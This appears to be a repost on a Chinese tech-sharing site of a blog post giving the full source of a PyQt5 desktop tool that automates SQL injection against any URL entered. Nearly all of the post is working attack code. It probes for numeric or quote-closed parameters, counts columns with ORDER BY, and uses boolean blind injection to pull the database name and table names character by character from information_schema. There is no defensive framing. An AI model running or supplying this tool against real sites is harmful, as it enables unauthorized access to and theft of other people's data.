ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sql注入简单pyhon

2022-08-25 20:34:43  阅读:184  来源: 互联网

标签:format pyhon self sql headers html text resp 注入


import requests,sys,time
from PyQt5.QtWidgets import *
from PyQt5.QtGui import QIcon
from threading import Thread

headers={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0'
}
test_1=['\'','\"']
a=['\'','\"',')']
#图形化界面
class gui(QWidget):
    def __init__(self):
        super(gui, self).__init__()
        self.setWindowTitle('王泽波波的sql注入')
        self.resize(700,700)
        self.setWindowIcon(QIcon("D:\\图片\\1.jpg"))
        self.ui()
    def ui(self):
        self.label=QLabel('域名')    #域名标签
        self.label.setStyleSheet("QLabel{color:green;font-size:29px}")  #域名字体颜色
        self.line=QLineEdit()   #域名输入框
        self.line.setStyleSheet("QLineEdit{font-size:27px}")
        self.startbt=QPushButton('开始')  #开始按钮
        self.startbt.setStyleSheet("QPushButton{background:white;color:red;font-size:25px}")
        self.text=QTextEdit()    #结果显示
        self.text.setText('结果')
        self.text.append('域名请输入完整如:https://www.xxx.com/1.php?id=1')
        self.boolbt=QPushButton('布尔盲注')   #布尔盲注按钮
        self.boolbt.setStyleSheet("QPushButton{color:blue;font-size:26px}")
        self.stopbt=QPushButton('停止')   #停止按钮
        self.stopbt.setStyleSheet("QPushButton{background:pink;color:black;font-size:26px}")
        self.stopbt.setEnabled(False)   #停止按钮一来先禁用

        self.hbox=QHBoxLayout()    #域名标签-框-开始按钮的水平布局
        self.hbox.addWidget(self.label)
        self.hbox.addWidget(self.line)
        self.hbox.addWidget(self.startbt)

        self.vbox2=QVBoxLayout()   #布尔盲注-停止按钮的垂直布局
        self.vbox2.addWidget(self.boolbt)
        self.vbox2.addWidget(self.stopbt)

        self.hbox2=QHBoxLayout()   #结果-vbox2的水平布局
        self.hbox2.addWidget(self.text)
        self.hbox2.addLayout(self.vbox2)

        self.vbox=QVBoxLayout()    #hbox-hbox2的垂直布局
        self.vbox.addLayout(self.hbox)
        self.vbox.addLayout(self.hbox2)       
        self.setLayout(self.vbox)    #显示

        self.startbt.clicked.connect(self.start_func)
        self.stopbt.clicked.connect(self.stop)
        self.boolbt.clicked.connect(self.bool_func)
        self.bool=0
    def bool_func(self):
        self.bool=1
        self.boolbt.setEnabled(False)
    def start_func(self):
        self.boolbt.setEnabled(False)
        self.url=self.line.text()   #获取输入的url
        if len(self.url)==0:
            QMessageBox.information(self,'温馨提示','请输入域名')
        else:
            self.startbt.setEnabled(False)   #开始注入,开始按钮禁用
            self.stopbt.setEnabled(True)    #停止按钮可用
            self.thread=Thread(target=self.statuscode)  #开线程
            self.thread.setDaemon(True)
            self.thread.start()
            
    def statuscode(self):     #先检查域名的正确性
        try:
            sql=requests.get(self.url,headers=headers)
            if sql.status_code==200:
                self.text.append('<font color=blue>开始注入中,主人请稍等.........')
                html=sql.text
                self.sql_injection(html)   #得到html代码并传给sql_injection
            elif sql.status_code==404:
                QMessageBox.information(self,'温馨提示','网页不存在,请重新输入')
                self.stop()
            else:
                QMessageBox.information(self,'温馨提示','响应超时或其他原因,请重新输入')
                self.text.append(sql.status_code)
                self.stop()         
        except Exception as e:
            self.text.append('<font color=blue>响应超时或域名不规整:%s'%e)
            self.stop()

    def sql_injection(self,html):  
        response=requests.get(self.url+'and 1=2',headers=headers)     
        if response.text==html:            #无变化则不是数字型,可能是字符型或做了防护等
            for i in test_1:               #用test_1里面的字典进行字符型探测
                resp_char=requests.get(self.url+'{0} and 1=2 --+'.format(i),headers=headers)
                if '拦截' in resp_char.text:      #有waf拦截
                    self.text.append('<font color=orange>似乎有waf拦截,已停止注入')
                    self.stop()
                    return 0
                else:       #没有拦截,进行闭合测试
                    if resp_char.text!=html:  #and 1=2有变化,有区别        
                        resp_char2=requests.get(self.url+'{0} and 1=1 --+'.format(i),headers=headers)
                        if resp_char2.text==html: #and 1=1验证是否闭合正确
                            char=i+' '
                            if self.bool==1:          #布尔盲注
                                self.bool_injection(char,html)
                            else:
                                self.unoin_injection(char,html)   #字符型验证正确联合查询
                            return 0
                        else:      #闭合有变化,但是验证不正确,证明可能存在多个字符闭合   
                            for j in a:
                                if i==j:
                                    continue
                                else:
                                    resp_char3=requests.get(self.url+'{0} and 1=1 --+'.format(i+j),headers=headers)
                                    if resp_char3.text==html:
                                        char=i+j+' '
                                        if self.bool==1:
                                            self.bool_injection(char,html)
                                        else:
                                            self.unoin_injection(char,html)
                                        return 0
                                    else:
                                        if j==a[-1]:
                                            self.text.append('<font color=blue>可能有多个字符闭合,但我没闭合成功,请校验字符集')
                                            self.stop()
                                            return 0
                                        else:
                                            continue
                    else:   #无差别继续下个符号测试
                        if i==test_1[-1]:
                            self.text.append('<font color=blue>可能有单个字符闭合,但我没闭合成功,请校验字符集')
                            self.stop()
                            return 0
                        else:
                            continue     
        else:                                  #有变化可能是数字型或出错或waf拦截
            if '拦截' in response.text:        #先判断是否waf拦截
                self.text.append('<font color=orange>似乎有waf拦截,已停止注入')
                self.stop()
            else:
                response=requests.get(self.url+' and 1=1',headers=headers) #进一步推测
                if response.text==html:    #1=1和1=2有区别可推测是数字型,可猜字段数
                    integer=' '
                    if self.bool==1:       #布尔盲注
                        self.bool_injection(integer,html)
                    else:             
                        self.unoin_injection(integer,html)    #数字型验证正确联合查询
                else:
                    self.text.append('<font color=>还不清楚的逻辑,请检查我sql_injection()')
                    self.stop()
                    
    def unoin_injection(self,argument,html):
        for i in range(1,50):   #字段数从1开始探测,无变化继续加1探测
            resp_union=requests.get(self.url+'{0}order by {1} --+'.format(argument,i),headers=headers)
            if resp_union.text==html:                       
                continue
            else:
                if argument==' ':
                    self.text.append('<font color=green>[*]存在数字型,字段数为<font color=red>{0}'.format(i-1))
                else:
                    self.text.append('<font color=green>[*]存在字符型 <font color=red>{0}</font>闭合,字段数为<font color=red>{1}'.format(argument,i-1))
                break
        self.stop()
    def bool_injection(self,argument,html):   #布尔盲注
        for i in range(1,50):                 #跑数据库长度
            resp_bool=requests.get(self.url+'{0}and if(length(database())={1},1,0) --+'.format(argument,i),headers=headers)
            if resp_bool.text==html:
                self.length=i
                self.text.append('<font color=green>[*]当前数据库长度<font color=red>{}'.format(self.length))
                break
        self.database=''
        for x in range(1,self.length+1):
            resp_64=requests.get(self.url+'{0}and if(ascii(substr(database(),{1},1))>64,1,0) --+'.format(argument,x),headers=headers)
            if resp_64.text==html:    #ascii码大于64的从64开始
                for j in range(64,128):     #跑数据库名的每个字母的ascii码
                    resp_bool2=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j,x),headers=headers)
                    if resp_bool2.text==html:
                        self.database=self.database+chr(j)
                        break
            else:
                for j in range(0,64):
                    resp_bool3=requests.get(self.url+'{0}and if(ascii(substr(database(),{2},1))={1},1,0) --+'.format(argument,j+i,x),headers=headers)
                    if resp_bool3.text==html:
                        self.database=self.database+chr(j)
                        break
        self.text.append('<font color=green>[*]布尔盲注得到当前数据库名:<font color=red>{0}'.format(self.database))
        #跑当前数据库的表
        table_injection='(select count(*) from information_schema.tables where table_schema=database())'
        for i in range(30):   #看当前数据库有多少张表
            table_request=requests.get(self.url+'{0}and if({1}={2},1,0) --+'.format(argument,table_injection,i),headers=headers)
            if table_request.text==html:
                break
        #是否存在表
        if i==0:
            self.text.append('<font color=green>[*]{0}数据库没有表'.format(self.database))
            self.stop()
            return 0
        else:
            self.text.append('<font color=green>[*]{0}数据库有{1}张表:'.format(self.database,i))
        #跑每个表的表名
        self.tablename=''
        #看group_concat的长度
        group_length='(select group_concat(table_name) from information_schema.tables where table_schema=database())'
        group_request=requests.get(self.url+'{0}and if(length({1})>=50,1,0) --+'.format(argument,group_length),headers=headers)
        if group_request.text==html:  #>=50
          group_request=requests.get(self.url+'{0}and if(length({1})>=80,1,0)--+'.format(argument,group_length),headers=headers)
          if group_request.text==html:   #>=80
            for j in range(80,225):
              group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers)
              if group_request.text==html:
                self.group_len=j
                break
          else:           #<80
            for j in range(50,80):
              group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers)
              if group_request.text==html:
                self.group_len=j
                break
        else:     #<50
          group_request=requests.get(self.url+'{0}and if(length({1})>=25,1,0) --+'.format(argument,group_length),headers=headers)
          if group_request.text==html:  #>=25
            for j in range(25,50):
              group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers)
              if group_request.text==html:
                self.group_len=j
                break
          else:                       #<25
            for j in range(1,25):
              group_request=requests.get(self.url+'{0}and if(length({1})={2},1,0)--+'.format(argument,group_length,j),headers=headers)
              if group_request.text==html:
                self.group_len=j
                break
        self.tabinject_fun(argument,html,group_length)
    def tabinject_fun(self,argument,html,group_length):
        for x in range(1,self.group_len+1):
            resp_64=requests.get(self.url+'{0}and if(ascii(substr({2},{1},1))>64,1,0) --+'.format(argument,x,group_length),headers=headers)
            if resp_64.text==html:    #ascii码大于64的从64开始
                for j in range(64,128):     #跑数据库名的每个字母的ascii码
                    resp_bool2=requests.get(self.url+'{0}and if(ascii(substr({3},{2},1))={1},1,0) --+'.format(argument,j,x,group_length),headers=headers)
                    if resp_bool2.text==html:
                        self.tablename=self.tablename+chr(j)
                        break
            else:
                for j in range(0,64):
                    resp_bool3=requests.get(self.url+'{0}and if(ascii(substr({3},{2},1))={1},1,0) --+'.format(argument,j,x,group_length),headers=headers)
                    if resp_bool3.text==html:
                        self.tablename=self.tablename+chr(j)
                        break
        self.text.append('<font color=red>{0}'.format(self.tablename))
        self.stop()
    def stop(self):   #停止注入
        self.text.append('<font color=purple>注入结束')   #字体大小可用<font size>,但有问题
        self.startbt.setEnabled(True)
        self.boolbt.setEnabled(True)
        self.bool=0
        self.stopbt.setEnabled(False)
        
if __name__=='__main__':
    app=QApplication(sys.argv)
    gui=gui()
    gui.show()
    sys.exit(app.exec())

  

标签:format,pyhon,self,sql,headers,html,text,resp,注入
来源: https://www.cnblogs.com/MKID/p/16625595.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有